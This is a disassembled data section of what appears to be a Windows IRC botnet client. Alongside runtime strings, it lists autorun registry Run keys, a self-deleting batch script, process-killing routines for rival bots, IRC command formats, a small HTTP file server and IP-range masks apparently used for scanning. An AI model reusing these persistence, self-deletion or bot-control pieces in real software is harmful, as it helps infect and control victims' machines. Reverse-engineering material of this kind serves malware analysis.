		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h
		dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h
		dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h
		dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h,	8F8E8D8Ch
		dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h
		dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h
		dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h
		dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h
		dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h
		dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch
		dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h
		dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h
		dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h
		dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch
		dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
		dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h,	0A7A6A5A4h
		dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
		dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
		dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
		dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
		dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0
aMmDdYy		db 'MM/dd/yy',0
		align 4
aPm		db 'PM',0
		align 4
aAm		db 'AM',0
		align 4
aDecember	db 'December',0
		align 4
aNovember	db 'November',0
		align 4
aOctober	db 'October',0
aSeptember	db 'September',0
		align 4
aAugust		db 'August',0
		align 10h
aJuly		db 'July',0
		align 4
aJune		db 'June',0
		align 10h
aApril		db 'April',0
		align 4
aMarch		db 'March',0
		align 10h
aFebruary	db 'February',0
		align 4
aJanuary	db 'January',0
aDec		db 'Dec',0
aNov		db 'Nov',0
aOct		db 'Oct',0
aSep		db 'Sep',0
aAug		db 'Aug',0
aJul		db 'Jul',0
aJun		db 'Jun',0
aMay		db 'May',0
aApr		db 'Apr',0
aMar		db 'Mar',0
aFeb		db 'Feb',0
aJan		db 'Jan',0
aSaturday	db 'Saturday',0
		align 10h
aFriday		db 'Friday',0
		align 4
aThursday	db 'Thursday',0
		align 4
aWednesday	db 'Wednesday',0
		align 10h
aTuesday	db 'Tuesday',0
aMonday		db 'Monday',0
		align 10h
aSunday		db 'Sunday',0
		align 4
aSat		db 'Sat',0
aFri		db 'Fri',0
aThu		db 'Thu',0
aWed		db 'Wed',0
aTue		db 'Tue',0
aMon		db 'Mon',0
aSun		db 'Sun',0
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_416DD4+53o
		align 4
aCompleteObject	db ' Complete Object Locator',27h,0 ; DATA XREF: ev73vtp2:0041FB5Co
		align 4
aClassHierarchy	db ' Class Hierarchy Descriptor',27h,0 ; DATA XREF: ev73vtp2:0041FB58o
		align 4
aBaseClassArray	db ' Base Class Array',27h,0 ; DATA XREF: ev73vtp2:0041FB54o
		align 4
aBaseClassDescr	db ' Base Class Descriptor at (',0 ; DATA XREF: ev73vtp2:0041FB50o
aTypeDescriptor	db ' Type Descriptor',27h,0 ; DATA XREF: ev73vtp2:0041FB4Co
		align 4
aLocalStaticThr	db '`local static thread guard',27h,0 ; DATA XREF: ev73vtp2:0041FC98o
aManagedVectorC	db '`managed vector copy constructor iterator',27h,0
					; DATA XREF: ev73vtp2:0041FC94o
		align 4
aVectorVbaseCop	db '`vector vbase copy constructor iterator',27h,0
					; DATA XREF: ev73vtp2:0041FC90o
		align 10h
aVectorCopyCons	db '`vector copy constructor iterator',27h,0 ; DATA XREF: ev73vtp2:0041FC8Co
		align 4
aDynamicAtexitD	db '`dynamic atexit destructor for ',27h,0 ; DATA XREF: ev73vtp2:0041FC88o
		align 4
aDynamicInitial	db '`dynamic initializer for ',27h,0 ; DATA XREF: ev73vtp2:0041FC84o
		align 4
aEhVectorVbaseC	db '`eh vector vbase copy constructor iterator',27h,0
					; DATA XREF: ev73vtp2:0041FC80o
aEhVectorCopyCo	db '`eh vector copy constructor iterator',27h,0
					; DATA XREF: ev73vtp2:0041FC7Co
		align 4
aManagedVectorD	db '`managed vector destructor iterator',27h,0
					; DATA XREF: ev73vtp2:0041FC78o
		align 10h
aManagedVecto_0	db '`managed vector constructor iterator',27h,0
					; DATA XREF: ev73vtp2:0041FC74o
		align 4
aPlacementDelet	db '`placement delete[] closure',27h,0 ; DATA XREF: ev73vtp2:0041FC70o
		align 4
aPlacementDel_0	db '`placement delete closure',27h,0 ; DATA XREF: ev73vtp2:0041FC6Co
		align 4
aOmniCallsig	db '`omni callsig',27h,0 ; DATA XREF: ev73vtp2:0041FC68o
		align 4
aDelete		db ' delete[]',0        ; DATA XREF: ev73vtp2:0041FC64o
		align 10h
aNew		db ' new[]',0           ; DATA XREF: ev73vtp2:0041FC60o
		align 4
aLocalVftableCo	db '`local vftable constructor closure',27h,0
					; DATA XREF: ev73vtp2:0041FC5Co
aLocalVftable	db '`local vftable',27h,0 ; DATA XREF: ev73vtp2:0041FC58o
aRtti		db '`RTTI',0            ; DATA XREF: ev73vtp2:0041FC54o
		align 4
aEh		db '`EH',0              ; DATA XREF: ev73vtp2:0041FC50o
aUdtReturning	db '`udt returning',27h,0 ; DATA XREF: ev73vtp2:0041FC4Co
aCopyConstructo	db '`copy constructor closure',27h,0 ; DATA XREF: ev73vtp2:0041FC48o
		align 4
aEhVectorVbas_0	db '`eh vector vbase constructor iterator',27h,0
					; DATA XREF: ev73vtp2:0041FC44o
		align 4
aEhVectorDestru	db '`eh vector destructor iterator',27h,0 ; DATA XREF: ev73vtp2:0041FC40o
aEhVectorConstr	db '`eh vector constructor iterator',27h,0 ; DATA XREF: ev73vtp2:0041FC3Co
		align 10h
aVirtualDisplac	db '`virtual displacement map',27h,0 ; DATA XREF: ev73vtp2:0041FC38o
		align 4
aVectorVbaseCon	db '`vector vbase constructor iterator',27h,0
					; DATA XREF: ev73vtp2:0041FC34o
aVectorDestruct	db '`vector destructor iterator',27h,0 ; DATA XREF: ev73vtp2:0041FC30o
		align 10h
aVectorConstruc	db '`vector constructor iterator',27h,0 ; DATA XREF: ev73vtp2:0041FC2Co
		align 10h
aScalarDeleting	db '`scalar deleting destructor',27h,0 ; DATA XREF: ev73vtp2:0041FC28o
		align 10h
aDefaultConstru	db '`default constructor closure',27h,0 ; DATA XREF: ev73vtp2:0041FC24o
		align 10h
aVectorDeleting	db '`vector deleting destructor',27h,0 ; DATA XREF: ev73vtp2:0041FC20o
		align 10h
aVbaseDestructo	db '`vbase destructor',27h,0 ; DATA XREF: ev73vtp2:0041FC1Co
		align 4
aString		db '`string',27h,0      ; DATA XREF: ev73vtp2:0041FC18o
		align 10h
aLocalStaticGua	db '`local static guard',27h,0 ; DATA XREF: ev73vtp2:0041FC14o
		align 4
aTypeof		db '`typeof',27h,0      ; DATA XREF: ev73vtp2:0041FC10o
		align 4
aVcall		db '`vcall',27h,0       ; DATA XREF: ev73vtp2:0041FC0Co
aVbtable	db '`vbtable',27h,0     ; DATA XREF: ev73vtp2:0041FC08o
		align 4
aVftable	db '`vftable',27h,0     ; DATA XREF: ev73vtp2:0041FC04o
		align 4
asc_41FA04	db '^=',0               ; DATA XREF: ev73vtp2:0041FC00o
		align 4
asc_41FA08	db '|=',0               ; DATA XREF: ev73vtp2:0041FBFCo
		align 4
asc_41FA0C	db '&=',0               ; DATA XREF: ev73vtp2:0041FBF8o
		align 10h
asc_41FA10	db '<<=',0              ; DATA XREF: ev73vtp2:0041FBF4o
asc_41FA14	db '>>=',0              ; DATA XREF: ev73vtp2:0041FBF0o
asc_41FA18	db '%=',0               ; DATA XREF: ev73vtp2:0041FBECo
		align 4
asc_41FA1C	db '/=',0               ; DATA XREF: ev73vtp2:0041FBE8o
		align 10h
asc_41FA20	db '-=',0               ; DATA XREF: ev73vtp2:0041FBE4o
		align 4
asc_41FA24	db '+=',0               ; DATA XREF: ev73vtp2:0041FBE0o
		align 4
asc_41FA28	db '*=',0               ; DATA XREF: ev73vtp2:0041FBDCo
		align 4
asc_41FA2C	db '||',0               ; DATA XREF: ev73vtp2:0041FBD8o
		align 10h
asc_41FA30	db '&&',0               ; DATA XREF: ev73vtp2:0041FBD4o
		align 4
asc_41FA34:				; DATA XREF: ev73vtp2:0041FBD0o
		unicode	0, <|>,0
asc_41FA38:				; DATA XREF: ev73vtp2:0041FBCCo
		unicode	0, <^>,0
asc_41FA3C:				; DATA XREF: ev73vtp2:0041FBC8o
		unicode	0, <~>,0
asc_41FA40	db '()',0               ; DATA XREF: ev73vtp2:0041FBC4o
		align 4
asc_41FA44:				; DATA XREF: ev73vtp2:0041FBC0o
		unicode	0, <,>,0
asc_41FA48	db '>=',0               ; DATA XREF: ev73vtp2:0041FBBCo
		align 4
asc_41FA4C:				; DATA XREF: ev73vtp2:0041FBB8o
		dw 3Eh
		unicode	0, <>,0
asc_41FA50	db '<=',0               ; DATA XREF: ev73vtp2:0041FBB4o
		align 4
asc_41FA54:				; DATA XREF: ev73vtp2:0041FBB0o
		dw 3Ch
		unicode	0, <>,0
asc_41FA58:				; DATA XREF: ev73vtp2:0041FBACo
		unicode	0, <%>,0
asc_41FA5C:				; DATA XREF: ev73vtp2:0041FBA8o
		unicode	0, </>,0
asc_41FA60	db '->*',0              ; DATA XREF: ev73vtp2:0041FBA4o
asc_41FA64:				; DATA XREF: ev73vtp2:0041FBA0o
		unicode	0, <&>,0
asc_41FA68:				; DATA XREF: ev73vtp2:0041FB9Co
		unicode	0, <+>,0
asc_41FA6C:				; DATA XREF: ev73vtp2:0041FB98o
		unicode	0, <->,0
asc_41FA70	db '--',0               ; DATA XREF: ev73vtp2:0041FB94o
		align 4
asc_41FA74	db '++',0               ; DATA XREF: ev73vtp2:0041FB90o
		align 4
asc_41FA78:				; DATA XREF: ev73vtp2:0041FB8Co
		unicode	0, <*>,0
asc_41FA7C	db '->',0               ; DATA XREF: ev73vtp2:0041FB88o
		align 10h
aOperator	db 'operator',0         ; DATA XREF: ev73vtp2:0041FB84o
		align 4
asc_41FA8C	db '[]',0               ; DATA XREF: ev73vtp2:0041FB80o
		align 10h
asc_41FA90	db '!=',0               ; DATA XREF: ev73vtp2:0041FB7Co
		align 4
asc_41FA94	db '==',0               ; DATA XREF: ev73vtp2:0041FB78o
		align 4
asc_41FA98	db '<<',0               ; DATA XREF: ev73vtp2:0041FB70o
		align 4
asc_41FA9C	db '>>',0               ; DATA XREF: ev73vtp2:0041FB6Co
		align 10h
aDelete_0	db ' delete',0          ; DATA XREF: ev73vtp2:0041FB64o
aNew_0		db ' new',0             ; DATA XREF: ev73vtp2:0041FB60o
		align 10h
a__unaligned	db '__unaligned',0      ; DATA XREF: ev73vtp2:0041FB44o
a__restrict	db '__restrict',0       ; DATA XREF: ev73vtp2:0041FB40o
		align 4
; a__ptr64
a__ptr64	db '__ptr64',0          ; DATA XREF: ev73vtp2:0041FB3Co
a__clrcall	db '__clrcall',0        ; DATA XREF: ev73vtp2:0041FB38o
		align 4
a__fastcall	db '__fastcall',0       ; DATA XREF: ev73vtp2:0041FB34o
		align 4
a__thiscall	db '__thiscall',0       ; DATA XREF: ev73vtp2:0041FB30o
		align 4
a__stdcall	db '__stdcall',0        ; DATA XREF: ev73vtp2:0041FB2Co
		align 10h
a__pascal	db '__pascal',0         ; DATA XREF: ev73vtp2:0041FB28o
		align 4
a__cdecl	db '__cdecl',0          ; DATA XREF: ev73vtp2:0041FB24o
a__based	db '__based(',0         ; DATA XREF: ev73vtp2:0041FB20o
		align 10h
		dd offset a__based	; "__based("
		dd offset a__cdecl	; "__cdecl"
		dd offset a__pascal	; "__pascal"
		dd offset a__stdcall	; "__stdcall"
		dd offset a__thiscall	; "__thiscall"
		dd offset a__fastcall	; "__fastcall"
		dd offset a__clrcall	; "__clrcall"
		dd offset a__ptr64	; "__ptr64"
		dd offset a__restrict	; "__restrict"
		dd offset a__unaligned	; "__unaligned"
		dd offset byte_4202BD
		dd offset aTypeDescriptor ; " Type Descriptor'"
		dd offset aBaseClassDescr ; " Base Class Descriptor at ("
		dd offset aBaseClassArray ; " Base Class Array'"
		dd offset aClassHierarchy ; " Class Hierarchy Descriptor'"
		dd offset aCompleteObject ; " Complete Object Locator'"
		dd offset aNew_0	; " new"
		dd offset aDelete_0	; " delete"
		dd offset dword_41E3E8+88h
		dd offset asc_41FA9C	; ">>"
		dd offset asc_41FA98	; "<<"
		dd offset asc_42043C	; "!"
		dd offset asc_41FA94	; "=="
		dd offset asc_41FA90	; "!="
		dd offset asc_41FA8C	; "[]"
		dd offset aOperator	; "operator"
		dd offset asc_41FA7C	; "->"
		dd offset asc_41FA78	; "*"
		dd offset asc_41FA74	; "++"
		dd offset asc_41FA70	; "--"
		dd offset asc_41FA6C	; "-"
		dd offset asc_41FA68	; "+"
		dd offset asc_41FA64	; "&"
		dd offset asc_41FA60	; "->*"
		dd offset asc_41FA5C	; "/"
		dd offset asc_41FA58	; "%"
		dd offset asc_41FA54	; "<"
		dd offset asc_41FA50	; "<="
		dd offset asc_41FA4C	; ">"
		dd offset asc_41FA48	; ">="
		dd offset asc_41FA44	; ","
		dd offset asc_41FA40	; "()"
		dd offset asc_41FA3C	; "~"
		dd offset asc_41FA38	; "^"
		dd offset asc_41FA34	; "|"
		dd offset asc_41FA30	; "&&"
		dd offset asc_41FA2C	; "||"
		dd offset asc_41FA28	; "*="
		dd offset asc_41FA24	; "+="
		dd offset asc_41FA20	; "-="
		dd offset asc_41FA1C	; "/="
		dd offset asc_41FA18	; "%="
		dd offset asc_41FA14	; ">>="
		dd offset asc_41FA10	; "<<="
		dd offset asc_41FA0C	; "&="
		dd offset asc_41FA08	; "|="
		dd offset asc_41FA04	; "^="
		dd offset aVftable	; "`vftable'"
		dd offset aVbtable	; "`vbtable'"
		dd offset aVcall	; "`vcall'"
		dd offset aTypeof	; "`typeof'"
		dd offset aLocalStaticGua ; "`local static guard'"
		dd offset aString	; "`string'"
		dd offset aVbaseDestructo ; "`vbase destructor'"
		dd offset aVectorDeleting ; "`vector deleting destructor'"
		dd offset aDefaultConstru ; "`default constructor closure'"
		dd offset aScalarDeleting ; "`scalar deleting destructor'"
		dd offset aVectorConstruc ; "`vector constructor iterator'"
		dd offset aVectorDestruct ; "`vector destructor	iterator'"
		dd offset aVectorVbaseCon ; "`vector vbase constructor iterator'"
		dd offset aVirtualDisplac ; "`virtual displacement map'"
		dd offset aEhVectorConstr ; "`eh vector	constructor iterator'"
		dd offset aEhVectorDestru ; "`eh vector	destructor iterator'"
		dd offset aEhVectorVbas_0 ; "`eh vector	vbase constructor iterator'"
		dd offset aCopyConstructo ; "`copy constructor closure'"
		dd offset aUdtReturning	; "`udt	returning'"
		dd offset aEh		; "`EH"
		dd offset aRtti		; "`RTTI"
		dd offset aLocalVftable	; "`local vftable'"
		dd offset aLocalVftableCo ; "`local vftable constructor	closure'"
		dd offset aNew		; " new[]"
		dd offset aDelete	; " delete[]"
		dd offset aOmniCallsig	; "`omni callsig'"
		dd offset aPlacementDel_0 ; "`placement	delete closure'"
		dd offset aPlacementDelet ; "`placement	delete[] closure'"
		dd offset aManagedVecto_0 ; "`managed vector constructor iterator'"
		dd offset aManagedVectorD ; "`managed vector destructor	iterator'"
		dd offset aEhVectorCopyCo ; "`eh vector	copy constructor iterator'"
		dd offset aEhVectorVbaseC ; "`eh vector	vbase copy constructor itera"...
		dd offset aDynamicInitial ; "`dynamic initializer for '"
		dd offset aDynamicAtexitD ; "`dynamic atexit destructor	for '"
		dd offset aVectorCopyCons ; "`vector copy constructor iterator'"
		dd offset aVectorVbaseCop ; "`vector vbase copy	constructor iterator"...
		dd offset aManagedVectorC ; "`managed vector copy constructor iterat"...
		dd offset aLocalStaticThr ; "`local static thread guard'"
		dd offset byte_4202BD
		dd 86808006h, 808180h, 86031000h, 80828680h, 45050514h
		dd 85854545h, 585h, 50803030h, 8008880h, 38272800h, 805750h
		dd 30370007h, 88505030h, 20000000h, 80888028h, 80h
aHHhhXppwpp	db '`h`hhh',8,8,7,'xppwpp',8,8,0
		dw 800h
		dd 7000800h, 8
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_419654+C1o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: sub_419654+A9o
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_419654+6Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_419654+58o
aUser32_dll_0	db 'USER32.DLL',0       ; DATA XREF: sub_419654+28o
		align 10h
off_41FD60	dd offset sub_41989C	; DATA XREF: sub_4120C9r sub_4120C9+9o ...
		dd 2 dup(41983Bh), 78656E5Fh, 74666174h, 7265h,	676F6C5Fh
		dd 62h,	6E795Fh, 31795Fh, 30795Fh, 78657266h, 70h, 646F6D66h
		dd 0
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aFabs		db 'fabs',0
		align 4
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 4
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 8
dbl_41FDE8	dq 0.0			; DATA XREF: sub_419B94+143r
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_41AAC4:loc_41AB9Co
		align 4
dbl_41FE38	dq 4.195835e6		; DATA XREF: sub_41B404+Fr
dbl_41FE40	dq 3.145727e6		; DATA XREF: sub_41B404+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41B440+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41B440o
		align 10h
aConout		db 'CONOUT$',0          ; DATA XREF: sub_41B49B+Eo
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41CB21:loc_41CC50o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_41CB21+103o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_41CB21+F4o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41CB21+DCo
		align 4
aBadAllocation	db 'bad allocation',0   ; DATA XREF: .data:off_423000o
					; .data:00423030o ...
		align 4
aOpenthread	db 'OpenThread',0       ; DATA XREF: sub_401000+28o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_401000+2Do
					; sub_416DD4+44o
		align 4
aOpenprocess	db 'OpenProcess',0      ; DATA XREF: sub_401000+42o
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_401000+52o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_401000+62o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_401000+72o
		align 4
aModule32first	db 'Module32First',0    ; DATA XREF: sub_401000+82o
		align 4
aModule32next	db 'Module32Next',0     ; DATA XREF: sub_401000+92o
		align 4
aThread32first	db 'Thread32First',0    ; DATA XREF: sub_401000+A2o
		align 4
aThread32next	db 'Thread32Next',0     ; DATA XREF: sub_401000+B2o
		align 4
aReadprocessmem	db 'ReadProcessMemory',0 ; DATA XREF: sub_401000+C2o
		align 10h
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_401000+D2o
		align 4
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_401000+D7o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_401000+1FCo
					; sub_401000+281o
		align 4
aSystem		db 'System',0           ; DATA XREF: sub_401000+2C0o
		align 10h
aBotKilledS	db 'Bot Killed: %s',0   ; DATA XREF: sub_401000+37Eo
		align 10h
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_40140A+36o
					; sub_4026EE+13Co ...
		align 10h
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',0
					; DATA XREF: sub_40140A+3Do
		align 4
aSoftwareMicr_1	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx',0
					; DATA XREF: sub_40140A+44o
aSoftwareMicr_2	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices',0
					; DATA XREF: sub_40140A+4Bo
		align 10h
aSystemControls	db 'SYSTEM\ControlSet001\Services\Eventlog\System',0
					; DATA XREF: sub_40158F+27o
		align 10h
aSS_2		db '%s\%s',0            ; DATA XREF: sub_40158F+DDo
					; sub_40306A+4Eo ...
		align 4
aEventmessagefi	db 'EventMessageFile',0 ; DATA XREF: sub_40158F+10Bo
		align 4
aSC		db '%s%c',0             ; DATA XREF: sub_401AD1+4Bo
					; sub_40479C+16Bo ...
		align 4
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_404954+20o
					; sub_419654+46o
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_404954+25o
		align 4
dword_4200EC	dd 0D010Fh, 0C3000000h,	0 ; DATA XREF: sub_401B47+19o
aListTTooLong	db 'list<T> too long',0 ; DATA XREF: sub_401E7B+2Bo
					; sub_4084E5+2Bo
		align 4
off_42010C	dd offset nullsub_301	; DATA XREF: sub_401CE7+16o
aNtLanManager_	db 'NT LAN Manager *.*',0 ; DATA XREF: sub_4022A6+1B6o
		align 4
aWindows2000Lan	db 'Windows 2000 LAN Manager*',0 ; DATA XREF: sub_4022A6+1CEo
		align 10h
aWindows5_0	db 'Windows 5.0',0      ; DATA XREF: sub_4022A6+1E3o
aWindows5_1	db 'Windows 5.1',0      ; DATA XREF: sub_4022A6:loc_4024A3o
aWindowsServer2	db 'Windows Server 2003 *',0 ; DATA XREF: sub_4022A6+217o
		align 10h
a@echoOff1DelSI	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_402592+7Eo
		db ':1',0Dh,0Ah
		db 'del "%s"',0Dh,0Ah
		db 'if exist "%s" goto 1',0Dh,0Ah
		db 'del "%%0"',0Dh,0Ah,0
		align 4
aSTmpIIICCC_bat	db '%s\tmp-%i%i%i-%c%c%c.bat',0 ; DATA XREF: sub_402592+FCo
		align 4
aW:					; DATA XREF: sub_402592+110o
		unicode	0, <w>,0
aS		db '%s',0               ; DATA XREF: sub_402592+12Bo
					; sub_402966+125o ...
		align 10h
aRm		db 'RM',0               ; DATA XREF: sub_4026EE+F0o
					; sub_404954+38Fo
		align 4
aQuitSYouKilled	db 'QUIT :%s YOU KILLED ME :< --UPDATED',0Dh,0Ah,0
					; DATA XREF: sub_4026EE+16Co
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_4028E8+56o
					; .text:0040A47Bo ...
aVis		db 'VIS',0              ; DATA XREF: sub_402966+42o
a2k3		db '2K3',0              ; DATA XREF: sub_402966+55o
aXp		db 'XP',0               ; DATA XREF: sub_402966+62o
		align 4
a2k		db '2K',0               ; DATA XREF: sub_402966+6Eo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_402966+81o
		align 4
a98		db '98',0               ; DATA XREF: sub_402966+8Eo
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_402966+A0o
		align 4
a95		db '95',0               ; DATA XREF: sub_402966+ADo
		align 4
aUnk		db 'UNK',0              ; DATA XREF: sub_402966:loc_402A1Ao
aOsMicrosoftWin	db '[OS: Microsoft Windows %s %s (%i.%i build %i)]',0
					; DATA XREF: sub_402966+FDo
		align 4
a192		db '192*',0             ; DATA XREF: sub_402B71+32o
		align 4
a10_		db '10.*',0             ; DATA XREF: sub_402B71+49o
		align 4
a111_		db '111.*',0            ; DATA XREF: sub_402B71+5Eo
		align 4
a15_		db '15.*',0             ; DATA XREF: sub_402B71+73o
		align 4
a16_		db '16.*',0             ; DATA XREF: sub_402B71+84o
		align 4
a101		db '101*',0             ; DATA XREF: sub_402B71+95o
		align 4
a110		db '110*',0             ; DATA XREF: sub_402B71+A6o
		align 4
a112		db '112*',0             ; DATA XREF: sub_402B71+B7o
		align 4
a170_65__	db '170.65.*.*',0       ; DATA XREF: sub_402B71+C8o
		align 4
a11_		db '11.*',0             ; DATA XREF: sub_402B71+D9o
		align 10h
a172		db '172*',0             ; DATA XREF: sub_402B71+EAo
		align 4
aSX		db '%s%X',0             ; DATA XREF: sub_402DAA+10Bo
byte_4202BD	db 3 dup(0)		; DATA XREF: sub_402F05+28o
					; sub_404954+3B3o ...
asc_4202C0:				; DATA XREF: sub_402F48+89o
					; sub_403655+2Co ...
		unicode	0, < >,0
aGet		db 'GET',0              ; DATA XREF: sub_403186+B3o
aQue?		db 'Que?',0             ; DATA XREF: sub_403186+CAo
					; sub_403186+2FFo
		align 10h
aHttp1_1501NotI	db 'HTTP/1.1 501 Not Implemented',0Dh,0Ah ; DATA XREF: sub_403186+FCo
		db 'Content-Length: %d',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
aSSSS		db '%s\%s\%s%s',0       ; DATA XREF: sub_403186+205o
		align 4
aSSS_1		db '%s\%s\%s',0         ; DATA XREF: sub_403186+1D2o
		align 10h
aHttp1_1200OkCo	db 'HTTP/1.1 200 ok',0Dh,0Ah ; DATA XREF: sub_403186+33Ao
		db 'Content-Length: %d',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttpTransferD_	db 'HTTP: Transfer: %d.%d.%d.%d (N/A). %d Total Sends.',0
					; DATA XREF: sub_403186+45Do
		align 10h
aHttpTransfer_0	db 'HTTP: Transfer: %d.%d.%d.%d (%s). %d Total Sends.',0
					; DATA XREF: sub_403186+489o
		align 4
asc_4203D4	db 0Dh,0Ah,0		; DATA XREF: sub_403655+16o
					; sub_403BD5+73o
		align 4
asc_4203D8	db 0Dh,0Ah		; DATA XREF: sub_403655+74o
		db 0Dh,0Ah,0
		align 10h
asc_4203E0	db '%x',0               ; DATA XREF: sub_4036E9+54o
		align 4
aSS		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_403805+42o
					; sub_403879+1D9o ...
aSS_0		db '%s-%s',0            ; DATA XREF: sub_403879+29Bo
		align 4
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_403879+315o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 4
aSSS		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403D0C+B9o
					; sub_403EAD+2D9o
		align 4
asc_420418	db ' :',0               ; DATA XREF: sub_403EAD+79o
					; sub_403EAD+546o
		align 4
a001		db '001',0              ; DATA XREF: sub_403EAD+362o
aSSSSSS		db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_403EAD+3FAo
		db '%s %s %s',0Dh,0Ah,0
		align 4
a332		db '332',0              ; DATA XREF: sub_403EAD+4CCo
					; sub_403EAD+5CAo
asc_42043C:				; DATA XREF: sub_403EAD+581o
					; ev73vtp2:0041FB74o
		unicode	0, <!>,0
asc_420440:				; DATA XREF: sub_403EAD:loc_40452Co
		unicode	0, <;>,0
aS_0		db '-s',0               ; DATA XREF: sub_404614+28o
		align 4
aS_1		db '/s',0               ; DATA XREF: sub_404614+40o
		align 4
aQwertyuiopasdf	db 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM',0
					; DATA XREF: sub_40479C+21o
		align 4
asc_420484:				; DATA XREF: sub_40479C+62o
					; sub_4091D2:loc_409325o
		unicode	0, <[>,0
aSS_1		db '%s%s|',0            ; DATA XREF: sub_40479C+91o
		align 10h
aSp		db '%sP|',0             ; DATA XREF: sub_40479C+F4o
		align 4
aS0I64u		db '%s0%I64u|',0        ; DATA XREF: sub_40479C+12Do
		align 4
aSI64u		db '%s%I64u|',0         ; DATA XREF: sub_40479C+137o
		align 10h
aS_2		db '%s]',0              ; DATA XREF: sub_40479C+18Fo
aFu		db '--fu ',0            ; DATA XREF: sub_404954+AEo
		align 4
aSSS_0		db '%s %s%s',0          ; DATA XREF: sub_404954+21Eo
aCZzzz_exe	db 'C:\zzzz.exe',0      ; DATA XREF: sub_4085A6+7Co
